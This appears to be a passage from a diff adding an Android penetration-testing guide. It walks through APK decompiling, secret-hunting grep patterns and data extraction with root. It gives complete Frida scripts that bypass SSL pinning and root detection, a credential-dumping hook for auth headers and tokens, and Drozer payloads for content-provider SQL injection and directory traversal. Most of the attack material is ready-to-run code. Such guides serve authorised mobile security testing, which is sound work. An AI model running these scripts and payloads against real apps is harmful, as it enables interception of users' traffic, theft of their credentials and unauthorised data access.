keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000 -storepass password -keypass password -dname "CN=Test,OU=Test,O=Test,L=Test,ST=Test,C=US"
|
|
282
|
+
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore test.keystore -storepass password patched.apk test
|
|
283
|
+
zipalign -v 4 patched.apk patched_aligned.apk
|
|
284
|
+
adb install patched_aligned.apk
|
|
285
|
+
|
|
286
|
+
# Bypass advanced root detection with custom Frida script
|
|
287
|
+
frida -U -l bypass_root_advanced.js --no-pause com.target.app
|
|
288
|
+
|
|
289
|
+
# Spawn app with Frida (bypass anti-attach)
|
|
290
|
+
frida -U -f com.target.app -l ssl_bypass.js --no-pause
|
|
291
|
+
|
|
292
|
+
# Handle split APKs (bundle)
|
|
293
|
+
bundletool build-apks --bundle=target.aab --output=target.apks --mode=universal
|
|
294
|
+
unzip target.apks -d apks_extracted
|
|
295
|
+
# Then process universal.apk as normal
|
|
296
|
+
|
|
297
|
+
# Decompile multi-dex
|
|
298
|
+
jadx -d output --deobf target.apk
|
|
299
|
+
# If jadx fails on specific dex, extract and process individually
|
|
300
|
+
unzip target.apk -d raw
|
|
301
|
+
dex2jar raw/classes2.dex -o classes2-dex2jar.jar
|
|
302
|
+
jadx -d output2 classes2-dex2jar.jar
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
---
|
|
306
|
+
|
|
307
|
+
## 4. Step-by-Step Numbered Workflow
|
|
308
|
+
|
|
309
|
+
### Phase 1: Reconnaissance and APK Acquisition
|
|
310
|
+
|
|
311
|
+
1. Identify the package name from the Play Store URL or app listing
|
|
312
|
+
```bash
|
|
313
|
+
# URL format: https://play.google.com/store/apps/details?id=com.target.app
|
|
314
|
+
# Package name: com.target.app
|
|
315
|
+
```
|
|
316
|
+
|
|
317
|
+
2. Install the APK on your test device via Play Store or direct install
|
|
318
|
+
```bash
|
|
319
|
+
adb install target.apk
|
|
320
|
+
# Or if pulling from device where it's already installed:
|
|
321
|
+
adb shell pm path com.target.app
|
|
322
|
+
adb pull <path_from_above> target.apk
|
|
323
|
+
```
|
|
324
|
+
|
|
325
|
+
3. Alternatively, download APK without a device using APKPure or apkeep
|
|
326
|
+
```bash
|
|
327
|
+
pip3 install apkeep
|
|
328
|
+
apkeep -a com.target.app -d APKPure .
|
|
329
|
+
```
|
|
330
|
+
|
|
331
|
+
### Phase 2: Static Analysis
|
|
332
|
+
|
|
333
|
+
4. Decode APK with apktool to get manifest and smali
|
|
334
|
+
```bash
|
|
335
|
+
apktool d target.apk -o target_static -f
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
5. Decompile to Java source with jadx
|
|
339
|
+
```bash
|
|
340
|
+
jadx -d target_java --deobf --deobf-min 3 --deobf-use-sourcename target.apk 2>/dev/null
|
|
341
|
+
```
|
|
342
|
+
|
|
343
|
+
6. Review AndroidManifest.xml for attack surface
|
|
344
|
+
```bash
|
|
345
|
+
# Check minSdkVersion, targetSdkVersion
|
|
346
|
+
grep -i "sdk\|versionName\|versionCode" target_static/AndroidManifest.xml
|
|
347
|
+
|
|
348
|
+
# Find all exported components
|
|
349
|
+
grep -A2 'exported="true"' target_static/AndroidManifest.xml
|
|
350
|
+
|
|
351
|
+
# Find activities with intent filters (implicitly exported)
|
|
352
|
+
grep -B5 -A5 "<intent-filter>" target_static/AndroidManifest.xml
|
|
353
|
+
|
|
354
|
+
# Check for backup enabled
|
|
355
|
+
grep "allowBackup" target_static/AndroidManifest.xml
|
|
356
|
+
|
|
357
|
+
# Check for cleartext traffic permission
|
|
358
|
+
grep "usesCleartextTraffic\|INTERNET\|network_security_config" target_static/AndroidManifest.xml
|
|
359
|
+
```
|
|
360
|
+
|
|
361
|
+
7. Hunt for hardcoded secrets and sensitive strings
|
|
362
|
+
```bash
|
|
363
|
+
# API keys, tokens, passwords
|
|
364
|
+
grep -rn --include="*.java" --include="*.kt" "api_key\|apikey\|secret\|password\|token\|Bearer\|Authorization" target_java/
|
|
365
|
+
|
|
366
|
+
# AWS credentials
|
|
367
|
+
grep -rn "AKIA\|aws_access\|aws_secret" target_java/
|
|
368
|
+
|
|
369
|
+
# Firebase
|
|
370
|
+
grep -rn "AIzaSy\|firebaseio.com\|google-services" target_java/
|
|
371
|
+
|
|
372
|
+
# JWT
|
|
373
|
+
grep -rn "eyJ" target_java/
|
|
374
|
+
|
|
375
|
+
# Private keys
|
|
376
|
+
grep -rn "BEGIN RSA\|BEGIN EC\|BEGIN PRIVATE" target_java/
|
|
377
|
+
|
|
378
|
+
# Check res/values/strings.xml
|
|
379
|
+
grep -i "key\|secret\|token\|password\|url\|host" target_static/res/values/strings.xml
|
|
380
|
+
```
|
|
381
|
+
|
|
382
|
+
8. Check network security config
|
|
383
|
+
```bash
|
|
384
|
+
cat target_static/res/xml/network_security_config.xml
|
|
385
|
+
# Look for: cleartextTrafficPermitted="true", custom CAs, pinning config
|
|
386
|
+
```
|
|
387
|
+
|
|
388
|
+
9. Run automated static scan with MobSF
|
|
389
|
+
```bash
|
|
390
|
+
# Upload via API
|
|
391
|
+
curl -F "file=@target.apk" http://localhost:8000/api/v1/upload \
|
|
392
|
+
-H "Authorization: <mobsf-api-key>"
|
|
393
|
+
# Retrieve report from http://localhost:8000
|
|
394
|
+
```
|
|
395
|
+
|
|
396
|
+
### Phase 3: Dynamic Analysis Setup
|
|
397
|
+
|
|
398
|
+
10. Start frida-server on device
|
|
399
|
+
```bash
|
|
400
|
+
adb shell "su -c '/data/local/tmp/frida-server &'"
|
|
401
|
+
# Verify
|
|
402
|
+
frida-ps -U | grep target
|
|
403
|
+
```
|
|
404
|
+
|
|
405
|
+
11. Configure Burp Suite proxy
|
|
406
|
+
```bash
|
|
407
|
+
# On Burp: Proxy > Options > Bind to *:8080
|
|
408
|
+
# Install Burp CA on device:
|
|
409
|
+
adb push burp_ca.der /sdcard/burp_ca.der
|
|
410
|
+
# On device: Settings > Security > Install certificate > burp_ca.der
|
|
411
|
+
|
|
412
|
+
# Set device proxy
|
|
413
|
+
adb shell settings put global http_proxy <LHOST>:8080
|
|
414
|
+
```
|
|
415
|
+
|
|
416
|
+
12. Launch app with Objection
|
|
417
|
+
```bash
|
|
418
|
+
objection -g com.target.app explore
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
### Phase 4: SSL Pinning Bypass
|
|
422
|
+
|
|
423
|
+
13. Attempt automatic bypass with Objection
|
|
424
|
+
```bash
|
|
425
|
+
# Inside objection:
|
|
426
|
+
android sslpinning disable
|
|
427
|
+
```
|
|
428
|
+
|
|
429
|
+
14. If automatic bypass fails, use Frida script (see Section 6 for scripts)
|
|
430
|
+
```bash
|
|
431
|
+
frida -U -f com.target.app -l universal_ssl_bypass.js --no-pause
|
|
432
|
+
```
|
|
433
|
+
|
|
434
|
+
### Phase 5: Root Detection Bypass
|
|
435
|
+
|
|
436
|
+
15. Disable root checks with Objection
|
|
437
|
+
```bash
|
|
438
|
+
android root disable
|
|
439
|
+
```
|
|
440
|
+
|
|
441
|
+
16. If custom root detection, hook the specific method
|
|
442
|
+
```bash
|
|
443
|
+
# Find root check methods
|
|
444
|
+
grep -rn "isRooted\|checkRoot\|detectRoot\|RootBeer\|RootDetection" target_java/
|
|
445
|
+
# Then hook with Frida (see Section 6)
|
|
446
|
+
```
|
|
447
|
+
|
|
448
|
+
### Phase 6: Data Storage Analysis
|
|
449
|
+
|
|
450
|
+
17. Extract all stored data
|
|
451
|
+
```bash
|
|
452
|
+
adb shell su -c "ls -la /data/data/com.target.app/"
|
|
453
|
+
adb shell su -c "find /data/data/com.target.app/ -type f" > file_list.txt
|
|
454
|
+
|
|
455
|
+
# SharedPreferences
|
|
456
|
+
adb shell su -c "cat /data/data/com.target.app/shared_prefs/*.xml"
|
|
457
|
+
|
|
458
|
+
# Databases
|
|
459
|
+
adb shell su -c "sqlite3 /data/data/com.target.app/databases/app.db .dump"
|
|
460
|
+
|
|
461
|
+
# Check for world-readable files
|
|
462
|
+
adb shell su -c "find /data/data/com.target.app/ -perm -o+r -type f"
|
|
463
|
+
```
|
|
464
|
+
|
|
465
|
+
18. Check external storage
|
|
466
|
+
```bash
|
|
467
|
+
adb shell "find /sdcard/ -path '*com.target.app*' -type f"
|
|
468
|
+
adb pull /sdcard/Android/data/com.target.app/
|
|
469
|
+
```
|
|
470
|
+
|
|
471
|
+
### Phase 7: Component Exploitation
|
|
472
|
+
|
|
473
|
+
19. Map attack surface with Drozer
|
|
474
|
+
```bash
|
|
475
|
+
run app.package.attacksurface com.target.app
|
|
476
|
+
```
|
|
477
|
+
|
|
478
|
+
20. Exploit exported components (see Scenarios in Section 8)
|
|
479
|
+
|
|
480
|
+
### Phase 8: Reporting
|
|
481
|
+
|
|
482
|
+
21. Capture evidence
|
|
483
|
+
```bash
|
|
484
|
+
# Screenshot
|
|
485
|
+
adb shell screencap /sdcard/screen.png && adb pull /sdcard/screen.png
|
|
486
|
+
|
|
487
|
+
# Screen record
|
|
488
|
+
adb shell screenrecord /sdcard/record.mp4
|
|
489
|
+
# Press Ctrl+C to stop, then:
|
|
490
|
+
adb pull /sdcard/record.mp4
|
|
491
|
+
|
|
492
|
+
# Save logcat
|
|
493
|
+
adb logcat -d > logcat_dump.txt
|
|
494
|
+
```
|
|
495
|
+
|
|
496
|
+
---
|
|
497
|
+
|
|
498
|
+
## 5. Actual Working Terminal Commands
|
|
499
|
+
|
|
500
|
+
### APK Extraction and Inspection
|
|
501
|
+
```bash
|
|
502
|
+
# List all installed packages
|
|
503
|
+
adb shell pm list packages -f | grep -i target
|
|
504
|
+
|
|
505
|
+
# Pull specific APK (base.apk for split APKs)
|
|
506
|
+
adb shell pm path com.target.app | sed 's/package://' | xargs -I{} adb pull {} ./
|
|
507
|
+
|
|
508
|
+
# Check APK signature
|
|
509
|
+
apksigner verify --verbose target.apk
|
|
510
|
+
jarsigner -verify -verbose -certs target.apk
|
|
511
|
+
|
|
512
|
+
# List APK contents
|
|
513
|
+
unzip -l target.apk
|
|
514
|
+
|
|
515
|
+
# Extract specific file from APK
|
|
516
|
+
unzip target.apk AndroidManifest.xml -d ./manifest_raw
|
|
517
|
+
# Note: raw manifest is binary. Use apktool or aapt for readable output:
|
|
518
|
+
aapt dump xmltree target.apk AndroidManifest.xml
|
|
519
|
+
```
|
|
520
|
+
|
|
521
|
+
### Frida One-Liners
|
|
522
|
+
```bash
|
|
523
|
+
# List running processes on device
|
|
524
|
+
frida-ps -U
|
|
525
|
+
|
|
526
|
+
# List installed apps
|
|
527
|
+
frida-ps -Uai
|
|
528
|
+
|
|
529
|
+
# Trace all calls to a class
|
|
530
|
+
frida-trace -U -j 'com.target.app.security.*' com.target.app
|
|
531
|
+
|
|
532
|
+
# Trace native functions
|
|
533
|
+
frida-trace -U -i "Java_*" com.target.app
|
|
534
|
+
|
|
535
|
+
# Dump all classes loaded by app
|
|
536
|
+
frida -U -e "Java.perform(function(){ Java.enumerateLoadedClasses({onMatch: function(c){console.log(c)}, onComplete:function(){}}); })" com.target.app
|
|
537
|
+
|
|
538
|
+
# Spawn with env override
|
|
539
|
+
frida -U -f com.target.app --env SOME_VAR=value -l script.js --no-pause
|
|
540
|
+
```
|
|
541
|
+
|
|
542
|
+
### Objection Quick Reference
|
|
543
|
+
```bash
|
|
544
|
+
# Start session
|
|
545
|
+
objection -g com.target.app explore
|
|
546
|
+
|
|
547
|
+
# Or attach by PID
|
|
548
|
+
objection -g <pid> explore
|
|
549
|
+
|
|
550
|
+
# Key commands inside REPL:
|
|
551
|
+
android hooking list activities
|
|
552
|
+
android hooking list services
|
|
553
|
+
android hooking list receivers
|
|
554
|
+
android hooking list classes
|
|
555
|
+
android hooking search classes ssl
|
|
556
|
+
android hooking watch class android.security.net.config.NetworkSecurityTrustManager
|
|
557
|
+
android hooking watch class_method javax.net.ssl.TrustManagerFactory.getTrustManagers --dump-args --dump-return
|
|
558
|
+
android intent launch_activity com.target.app.ui.SettingsActivity
|
|
559
|
+
android keystore list
|
|
560
|
+
android filesystem list /data/data/com.target.app/
|
|
561
|
+
android filesystem get /data/data/com.target.app/shared_prefs/login.xml /tmp/login.xml
|
|
562
|
+
memory list modules
|
|
563
|
+
memory list exports libssl.so
|
|
564
|
+
memory search --string "password" --stop-at-first
|
|
565
|
+
env
|
|
566
|
+
```
|
|
567
|
+
|
|
568
|
+
### ADB Data Commands
|
|
569
|
+
```bash
|
|
570
|
+
# Pull entire app data directory (requires root)
|
|
571
|
+
adb shell "su -c 'tar czf /sdcard/appdata.tar.gz /data/data/com.target.app'"
|
|
572
|
+
adb pull /sdcard/appdata.tar.gz
|
|
573
|
+
tar xzf appdata.tar.gz
|
|
574
|
+
|
|
575
|
+
# Read specific SQLite db
|
|
576
|
+
adb shell "su -c 'cat /data/data/com.target.app/databases/users.db'" > users.db
|
|
577
|
+
sqlite3 users.db
|
|
578
|
+
.tables
|
|
579
|
+
.schema users
|
|
580
|
+
SELECT * FROM users;
|
|
581
|
+
|
|
582
|
+
# Check for token in preferences
|
|
583
|
+
adb shell "su -c 'cat /data/data/com.target.app/shared_prefs/*.xml'" | grep -i "token\|auth\|session"
|
|
584
|
+
|
|
585
|
+
# Monitor file creation in real time
|
|
586
|
+
adb shell "su -c 'inotifywait -m /data/data/com.target.app/ -e create,modify'"
|
|
587
|
+
|
|
588
|
+
# Check logcat for sensitive data leakage
|
|
589
|
+
adb logcat -v time | grep -E "password|token|key|secret|auth" --color
|
|
590
|
+
|
|
591
|
+
# Backup app data (if allowBackup=true, no root needed)
|
|
592
|
+
adb backup -f backup.ab -noapk com.target.app
|
|
593
|
+
dd if=backup.ab bs=1 skip=24 | python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" > backup.tar
|
|
594
|
+
tar xvf backup.tar
|
|
595
|
+
```
|
|
596
|
+
|
|
597
|
+
---
|
|
598
|
+
|
|
599
|
+
## 6. Payload Examples with Explanations
|
|
600
|
+
|
|
601
|
+
### 6.1 Universal SSL Pinning Bypass (Frida)
|
|
602
|
+
|
|
603
|
+
Save as `ssl_bypass.js`:
|
|
604
|
+
|
|
605
|
+
```javascript
|
|
606
|
+
// Universal SSL Pinning Bypass for Android
|
|
607
|
+
// Hooks multiple common SSL pinning implementations
|
|
608
|
+
// Works against OkHttp, Retrofit, HttpsURLConnection, TrustManager, and custom implementations
|
|
609
|
+
|
|
610
|
+
Java.perform(function() {
|
|
611
|
+
console.log("[*] Universal SSL Bypass loading...");
|
|
612
|
+
|
|
613
|
+
// --- Bypass 1: TrustManager (HttpsURLConnection) ---
|
|
614
|
+
try {
|
|
615
|
+
var TrustManager = Java.registerClass({
|
|
616
|
+
name: 'com.bypass.TrustManager',
|
|
617
|
+
implements: [Java.use('javax.net.ssl.X509TrustManager')],
|
|
618
|
+
methods: {
|
|
619
|
+
checkClientTrusted: function(chain, authType) {},
|
|
620
|
+
checkServerTrusted: function(chain, authType) {},
|
|
621
|
+
getAcceptedIssuers: function() { return []; }
|
|
622
|
+
}
|
|
623
|
+
});
|
|
624
|
+
|
|
625
|
+
var SSLContext = Java.use('javax.net.ssl.SSLContext');
|
|
626
|
+
SSLContext.init.overload(
|
|
627
|
+
'[Ljavax.net.ssl.KeyManager;',
|
|
628
|
+
'[Ljavax.net.ssl.TrustManager;',
|
|
629
|
+
'java.security.SecureRandom'
|
|
630
|
+
).implementation = function(km, tm, sr) {
|
|
631
|
+
console.log("[+] SSLContext.init() hooked");
|
|
632
|
+
this.init(km, [TrustManager.$new()], sr);
|
|
633
|
+
};
|
|
634
|
+
console.log("[+] TrustManager bypass active");
|
|
635
|
+
} catch(e) {
|
|
636
|
+
console.log("[-] TrustManager bypass failed: " + e);
|
|
637
|
+
}
|
|
638
|
+
|
|
639
|
+
// --- Bypass 2: OkHttp3 CertificatePinner ---
|
|
640
|
+
try {
|
|
641
|
+
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
|
|
642
|
+
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, certs) {
|
|
643
|
+
console.log("[+] OkHttp3 CertificatePinner.check() bypassed for: " + hostname);
|
|
644
|
+
return; // Do nothing — skip pin validation
|
|
645
|
+
};
|
|
646
|
+
CertificatePinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function(hostname, certs) {
|
|
647
|
+
console.log("[+] OkHttp3 CertificatePinner.check(cert[]) bypassed for: " + hostname);
|
|
648
|
+
return;
|
|
649
|
+
};
|
|
650
|
+
console.log("[+] OkHttp3 CertificatePinner bypass active");
|
|
651
|
+
} catch(e) {
|
|
652
|
+
console.log("[-] OkHttp3 bypass failed: " + e);
|
|
653
|
+
}
|
|
654
|
+
|
|
655
|
+
// --- Bypass 3: OkHttp2 CertificatePinner ---
|
|
656
|
+
try {
|
|
657
|
+
var OkHttp2CertPinner = Java.use('com.squareup.okhttp.CertificatePinner');
|
|
658
|
+
OkHttp2CertPinner.check.overload('java.lang.String', '[Ljava.security.cert.Certificate;').implementation = function(hostname, certs) {
|
|
659
|
+
console.log("[+] OkHttp2 CertificatePinner bypassed for: " + hostname);
|
|
660
|
+
return;
|
|
661
|
+
};
|
|
662
|
+
console.log("[+] OkHttp2 CertificatePinner bypass active");
|
|
663
|
+
} catch(e) {
|
|
664
|
+
console.log("[-] OkHttp2 bypass failed: " + e);
|
|
665
|
+
}
|
|
666
|
+
|
|
667
|
+
// --- Bypass 4: WebViewClient SSL Error ---
|
|
668
|
+
try {
|
|
669
|
+
var WebViewClient = Java.use('android.webkit.WebViewClient');
|
|
670
|
+
WebViewClient.onReceivedSslError.implementation = function(webView, handler, error) {
|
|
671
|
+
console.log("[+] WebViewClient.onReceivedSslError() bypassed");
|
|
672
|
+
handler.proceed(); // Accept the cert
|
|
673
|
+
};
|
|
674
|
+
console.log("[+] WebViewClient SSL bypass active");
|
|
675
|
+
} catch(e) {
|
|
676
|
+
console.log("[-] WebViewClient bypass failed: " + e);
|
|
677
|
+
}
|
|
678
|
+
|
|
679
|
+
// --- Bypass 5: Conscrypt (common in modern apps) ---
|
|
680
|
+
try {
|
|
681
|
+
var ConscryptOpenSSLSocketImpl = Java.use('com.android.org.conscrypt.OpenSSLSocketImpl');
|
|
682
|
+
ConscryptOpenSSLSocketImpl.verifyCertificateChain.implementation = function(certRefs, authMethod) {
|
|
683
|
+
console.log("[+] Conscrypt verifyCertificateChain() bypassed");
|
|
684
|
+
};
|
|
685
|
+
console.log("[+] Conscrypt bypass active");
|
|
686
|
+
} catch(e) {
|
|
687
|
+
console.log("[-] Conscrypt bypass failed: " + e);
|
|
688
|
+
}
|
|
689
|
+
|
|
690
|
+
// --- Bypass 6: HostnameVerifier ---
|
|
691
|
+
try {
|
|
692
|
+
var HostnameVerifier = Java.use('javax.net.ssl.HttpsURLConnection');
|
|
693
|
+
HostnameVerifier.setDefaultHostnameVerifier.implementation = function(verifier) {
|
|
694
|
+
console.log("[+] HostnameVerifier replaced");
|
|
695
|
+
var AllowAll = Java.registerClass({
|
|
696
|
+
name: 'com.bypass.AllowAllVerifier',
|
|
697
|
+
implements: [Java.use('javax.net.ssl.HostnameVerifier')],
|
|
698
|
+
methods: {
|
|
699
|
+
verify: function(hostname, session) { return true; }
|
|
700
|
+
}
|
|
701
|
+
});
|
|
702
|
+
this.setDefaultHostnameVerifier(AllowAll.$new());
|
|
703
|
+
};
|
|
704
|
+
console.log("[+] HostnameVerifier bypass active");
|
|
705
|
+
} catch(e) {
|
|
706
|
+
console.log("[-] HostnameVerifier bypass failed: " + e);
|
|
707
|
+
}
|
|
708
|
+
|
|
709
|
+
console.log("[*] SSL bypass setup complete");
|
|
710
|
+
});
|
|
711
|
+
```
|
|
712
|
+
|
|
713
|
+
Run with:
|
|
714
|
+
```bash
|
|
715
|
+
frida -U -f com.target.app -l ssl_bypass.js --no-pause
|
|
716
|
+
```
|
|
717
|
+
|
|
718
|
+
### 6.2 Root Detection Bypass (Frida)
|
|
719
|
+
|
|
720
|
+
Save as `root_bypass.js`:
|
|
721
|
+
|
|
722
|
+
```javascript
|
|
723
|
+
// Root Detection Bypass
|
|
724
|
+
// Targets: RootBeer, SafetyNet, custom checks, su binary checks
|
|
725
|
+
|
|
726
|
+
Java.perform(function() {
|
|
727
|
+
console.log("[*] Root bypass loading...");
|
|
728
|
+
|
|
729
|
+
// --- Bypass 1: RootBeer ---
|
|
730
|
+
try {
|
|
731
|
+
var RootBeer = Java.use('com.scottyab.rootbeer.RootBeer');
|
|
732
|
+
RootBeer.isRooted.implementation = function() {
|
|
733
|
+
console.log("[+] RootBeer.isRooted() -> false");
|
|
734
|
+
return false;
|
|
735
|
+
};
|
|
736
|
+
RootBeer.isRootedWithoutBusyBox.implementation = function() {
|
|
737
|
+
return false;
|
|
738
|
+
};
|
|
739
|
+
console.log("[+] RootBeer bypass active");
|
|
740
|
+
} catch(e) {
|
|
741
|
+
console.log("[-] RootBeer bypass failed: " + e);
|
|
742
|
+
}
|
|
743
|
+
|
|
744
|
+
// --- Bypass 2: File existence checks for su/magisk ---
|
|
745
|
+
try {
|
|
746
|
+
var File = Java.use('java.io.File');
|
|
747
|
+
File.exists.implementation = function() {
|
|
748
|
+
var name = this.getAbsolutePath();
|
|
749
|
+
var suspiciousPaths = [
|
|
750
|
+
'/su', '/sbin/su', '/system/bin/su', '/system/xbin/su',
|
|
751
|
+
'/system/app/Superuser.apk', '/data/local/tmp/su',
|
|
752
|
+
'/sbin/magisk', '/system/xbin/which', '/data/adb/magisk',
|
|
753
|
+
'/proc/net/if_inet6', '/proc/tty/drivers'
|
|
754
|
+
];
|
|
755
|
+
for (var i = 0; i < suspiciousPaths.length; i++) {
|
|
756
|
+
if (name.indexOf(suspiciousPaths[i]) >= 0) {
|
|
757
|
+
console.log("[+] Blocked File.exists() for: " + name);
|
|
758
|
+
return false;
|
|
759
|
+
}
|
|
760
|
+
}
|
|
761
|
+
return this.exists();
|
|
762
|
+
};
|
|
763
|
+
console.log("[+] File.exists() root path filter active");
|
|
764
|
+
} catch(e) {
|
|
765
|
+
console.log("[-] File.exists() bypass failed: " + e);
|
|
766
|
+
}
|
|
767
|
+
|
|
768
|
+
// --- Bypass 3: Runtime.exec() for su ---
|
|
769
|
+
try {
|
|
770
|
+
var Runtime = Java.use('java.lang.Runtime');
|
|
771
|
+
Runtime.exec.overload('java.lang.String').implementation = function(cmd) {
|
|
772
|
+
if (cmd.indexOf('su') >= 0 || cmd.indexOf('which') >= 0) {
|
|
773
|
+
console.log("[+] Blocked Runtime.exec(): " + cmd);
|
|
774
|
+
throw Java.use('java.io.IOException').$new("Permission denied");
|
|
775
|
+
}
|
|
776
|
+
return this.exec(cmd);
|
|
777
|
+
};
|
|
778
|
+
console.log("[+] Runtime.exec() filter active");
|
|
779
|
+
} catch(e) {
|
|
780
|
+
console.log("[-] Runtime.exec() bypass failed: " + e);
|
|
781
|
+
}
|
|
782
|
+
|
|
783
|
+
// --- Bypass 4: Build tags (test-keys check) ---
|
|
784
|
+
try {
|
|
785
|
+
var Build = Java.use('android.os.Build');
|
|
786
|
+
Build.TAGS.value = 'release-keys';
|
|
787
|
+
console.log("[+] Build.TAGS set to release-keys");
|
|
788
|
+
} catch(e) {
|
|
789
|
+
console.log("[-] Build.TAGS bypass failed: " + e);
|
|
790
|
+
}
|
|
791
|
+
|
|
792
|
+
// --- Bypass 5: Google SafetyNet Attestation result ---
|
|
793
|
+
try {
|
|
794
|
+
var SafetyNetAttestationResult = Java.use('com.google.android.gms.safetynet.SafetyNetApi$AttestationResponse');
|
|
795
|
+
// Hook the JWS result parsing if app processes it
|
|
796
|
+
console.log("[*] SafetyNet hook — check for custom attestation parsing in app");
|
|
797
|
+
} catch(e) {}
|
|
798
|
+
|
|
799
|
+
console.log("[*] Root bypass complete");
|
|
800
|
+
});
|
|
801
|
+
```
|
|
802
|
+
|
|
803
|
+
### 6.3 Credential Extraction Hook
|
|
804
|
+
|
|
805
|
+
Save as `cred_dump.js`:
|
|
806
|
+
|
|
807
|
+
```javascript
|
|
808
|
+
// Dump credentials being passed to login methods
|
|
809
|
+
|
|
810
|
+
Java.perform(function() {
|
|
811
|
+
// Hook common HTTP client headers
|
|
812
|
+
try {
|
|
813
|
+
var Request = Java.use('okhttp3.Request$Builder');
|
|
814
|
+
Request.addHeader.implementation = function(name, value) {
|
|
815
|
+
if (name.toLowerCase().indexOf('auth') >= 0 ||
|
|
816
|
+
name.toLowerCase().indexOf('token') >= 0 ||
|
|
817
|
+
name.toLowerCase().indexOf('cookie') >= 0) {
|
|
818
|
+
console.log("[CRED] Header: " + name + ": " + value);
|
|
819
|
+
}
|
|
820
|
+
return this.addHeader(name, value);
|
|
821
|
+
};
|
|
822
|
+
} catch(e) {}
|
|
823
|
+
|
|
824
|
+
// Hook SharedPreferences writes
|
|
825
|
+
try {
|
|
826
|
+
var Editor = Java.use('android.app.SharedPreferencesImpl$EditorImpl');
|
|
827
|
+
Editor.putString.implementation = function(key, value) {
|
|
828
|
+
if (key.toLowerCase().indexOf('token') >= 0 ||
|
|
829
|
+
key.toLowerCase().indexOf('auth') >= 0 ||
|
|
830
|
+
key.toLowerCase().indexOf('pass') >= 0 ||
|
|
831
|
+
key.toLowerCase().indexOf('session') >= 0) {
|
|
832
|
+
console.log("[CRED] SharedPreferences.putString: " + key + " = " + value);
|
|
833
|
+
}
|
|
834
|
+
return this.putString(key, value);
|
|
835
|
+
};
|
|
836
|
+
} catch(e) {}
|
|
837
|
+
|
|
838
|
+
// Hook SQLite writes
|
|
839
|
+
try {
|
|
840
|
+
var SQLiteDatabase = Java.use('android.database.sqlite.SQLiteDatabase');
|
|
841
|
+
SQLiteDatabase.insert.implementation = function(table, nullColumnHack, values) {
|
|
842
|
+
console.log("[DB] INSERT into: " + table + " -> " + values.toString());
|
|
843
|
+
return this.insert(table, nullColumnHack, values);
|
|
844
|
+
};
|
|
845
|
+
} catch(e) {}
|
|
846
|
+
|
|
847
|
+
console.log("[*] Credential hooks active");
|
|
848
|
+
});
|
|
849
|
+
```
|
|
850
|
+
|
|
851
|
+
### 6.4 Intent-Based Activity Launch (Drozer)
|
|
852
|
+
|
|
853
|
+
```bash
|
|
854
|
+
# Launch an exported activity directly (may bypass authentication)
|
|
855
|
+
run app.activity.start --component com.target.app com.target.app.ui.AdminDashboardActivity
|
|
856
|
+
|
|
857
|
+
# Start with extras (simulating a deep link)
|
|
858
|
+
run app.activity.start \
|
|
859
|
+
--component com.target.app com.target.app.ui.ResetPasswordActivity \
|
|
860
|
+
--extra string token "AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA"
|
|
861
|
+
|
|
862
|
+
# Content Provider SQL injection
|
|
863
|
+
run app.provider.query \
|
|
864
|
+
content://com.target.app.provider/accounts \
|
|
865
|
+
--selection "1=1 UNION SELECT username,password,3,4 FROM users--"
|
|
866
|
+
|
|
867
|
+
# Directory traversal via content provider
|
|
868
|
+
run app.provider.read \
|
|
869
|
+
content://com.target.app.fileprovider/../../../data/data/com.target.app/shared_prefs/login.xml
|
|
870
|
+
```
|
|
871
|
+
|
|
872
|
+
---
|
|
873
|
+
|
|
874
|
+
## 7. Tool Commands with Flags Explained
|
|
875
|
+
|
|
876
|
+
### apktool
|
|
877
|
+
```bash
|
|
878
|
+
apktool d target.apk \
|
|
879
|
+
-o output_dir \ # Output directory name
|
|
880
|
+
-f \ # Force overwrite output dir if exists
|
|
881
|
+
-r \ # Do NOT decode resources (faster, keeps binary XML)
|
|
882
|
+
-s \ # Do NOT decode sources (no smali, faster)
|
|
883
|
+
--no-src \ # Skip source decoding
|
|
884
|
+
--only-main-classes # Only decompile main dex
|
|
885
|
+
|
|
886
|
+
# Rebuild (after patching smali or manifest)
|
|
887
|
+
apktool b output_dir \
|
|
888
|
+
-o rebuilt.apk \ # Output APK path
|
|
889
|
+
-f \ # Force rebuild
|
|
890
|
+
--use-aapt2 # Use aapt2 (required for newer apps)
|
|
891
|
+
```
|
|
892
|
+
|
|
893
|
+
### jadx
|
|
894
|
+
```bash
|
|
895
|
+
jadx target.apk \
|
|
896
|
+
-d output_dir \ # Output directory
|
|
897
|
+
--deobf \ # Enable deobfuscation
|
|
898
|
+
--deobf-min 3 \ # Min name length to deobfuscate
|
|
899
|
+
--deobf-use-sourcename \ # Use source file name as class name hint
|
|
900
|
+
--show-bad-code \ # Include code that failed to decompile
|
|
901
|
+
--no-imports \ # Disable imports (full qualified names)
|
|
902
|
+
--threads-count 4 \ # Parallel threads (default: CPU count)
|
|
903
|
+
-e \ # Export as Gradle project (IDE-ready)
|
|
904
|
+
--single-class com.target.app.MainActivity # Decompile single class only
|
|
905
|
+
```
|
|
906
|
+
|
|
907
|
+
### frida
|
|
908
|
+
```bash
|
|
909
|
+
frida \
|
|
910
|
+
-U \ # USB device
|
|
911
|
+
-D <device-id> \ # Specific device by ID
|
|
912
|
+
-f com.target.app \ # Spawn app (start fresh)
|
|
913
|
+
-n com.target.app \ # Attach by name (app must be running)
|
|
914
|
+
-p <pid> \ # Attach by PID
|
|
915
|
+
-l script.js \ # Load JavaScript file
|
|
916
|
+
-e "Java.perform(...)" \ # Inline script expression
|
|
917
|
+
--no-pause \ # Don't pause on spawn (auto-resume)
|
|
918
|
+
--timeout 30 \ # Spawn timeout in seconds
|
|
919
|
+
--realm emulated \ # Target emulated realm (default: native)
|
|
920
|
+
-o output.log # Save console output to file
|
|
921
|
+
|
|
922
|
+
frida-trace \
|
|
923
|
+
-U \
|
|
924
|
+
-i "open" \ # Trace native function by name
|
|
925
|
+
-j 'com.target.*!*' \ # Trace all Java methods in package
|
|
926
|
+
-J '*!login*' \ # Trace methods containing "login"
|
|
927
|
+
